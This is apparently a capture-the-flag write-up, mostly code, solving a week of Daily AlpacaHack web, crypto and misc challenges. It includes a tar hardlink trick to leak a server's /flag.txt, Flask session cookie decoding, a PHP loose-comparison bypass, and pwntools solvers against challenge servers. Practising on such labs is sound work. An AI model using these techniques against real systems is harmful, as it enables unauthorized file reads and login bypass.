Daily AlpacaHack Writeup (2026-03-30 ~ 2026-04-05)

Daily AlpacaHack の Writeup.
(2026/3/30 - 2026/4/5)

Tar Uploader (Web, 2026/3/30)

ln /flag.txt leak.txt
tar cf leak.tar leak.txt
        

silence (Misc, 2026/3/31)

/dev/tty
        

OSINT (Misc, 2026/4/1)

Alpaca{🎃}
        

Message For You (Web, 2026/4/2)

flask-unsign --decode --cookie "$COOKIE"
        

You are my friend (Crypto, 2026/4/3)

def rot13_char(c):
    if 'a' <= c <= 'z':
        return chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
    if 'A' <= c <= 'Z':
        return chr((ord(c) - ord('A') + 13) % 26 + ord('A'))
    return c

def rot13(text):
    return ''.join(rot13_char(c) for c in text)

cipher = [238, 55, 26, 13, 30, 30, 21, 56, 58, 43, 60, 40, 52, 45, 6, 47, 48, 33, 53, 51, 62, 24, 37, 61, 5, 56, 7, 23, 83, 123, 44, 56, 52, 24, 7, 23, 15]
key = cipher[0] ^ ord(rot13_char("A"))

flag = ""

for i in range(len(cipher)):
    flag += rot13_char(chr(cipher[i] ^ key))
    key = (cipher[i] ^ key)
    
print(flag)
        

Impossible Puzzle (web, 2026/4/4)

<?php
$A = "0";
$B = "0.0";

if ($A == $B) {
    echo "mathced!";
} else {
    echo "not matched!";
}
        
import requests

target_url = "http://34.170.146.252:18628/"

payload = {"A": "0", "B": "0.0"}
resp = requests.post(target_url, data=payload)
print(resp.text)
        

The Horn (Crypto, 2026/4/5)

from pwn import *

ROUNDS = 32
BLOCK_SIZE = 32
PBOX = [5, 22, 31, 18, 3, 19, 11, 13, 10, 25, 24, 0, 2, 17, 20, 12, 6, 26, 1, 7, 16, 4, 27, 21, 15, 8, 30, 28, 14, 23, 29, 9]
last_order = list(range(BLOCK_SIZE))
for i in range(ROUNDS):
    last_order = [last_order[PBOX[j]] for j in range(BLOCK_SIZE)]

def unshuffle(bs):
    return bytes([bs[last_order.index(i)] for i in range(BLOCK_SIZE)])

_, host, port = "nc 34.170.146.252 30351".split()
sh = remote(host, port)

prompt = sh.recvuntil("CHALLENGE:".encode())
print(prompt.decode())

chal_cyph = bytes.fromhex(sh.recvline().decode().strip())

prompt = sh.recvuntil("pt:".encode())
print(prompt.decode())

payload = b"\xff" * 32
sh.sendline(payload.hex().encode())

resp = bytes.fromhex(sh.recvline().decode().strip())
print(b"resp:", resp)

unshuffled = bytes([b1 ^ b2 for b1, b2 in zip(unshuffle(resp),payload)])

print(b"all key:", unshuffled)

uns_chal = unshuffle(chal_cyph)
chal = bytes(b1 ^ b2 for b1, b2 in zip(uns_chal, unshuffled))

prompt = sh.recvuntil("pt:".encode())
print(prompt.decode())

sh.sendline("guess".encode())
prompt = sh.recvuntil("challenge:".encode())
print(prompt.decode())

sh.sendline(chal.hex().encode())

sh.interactive()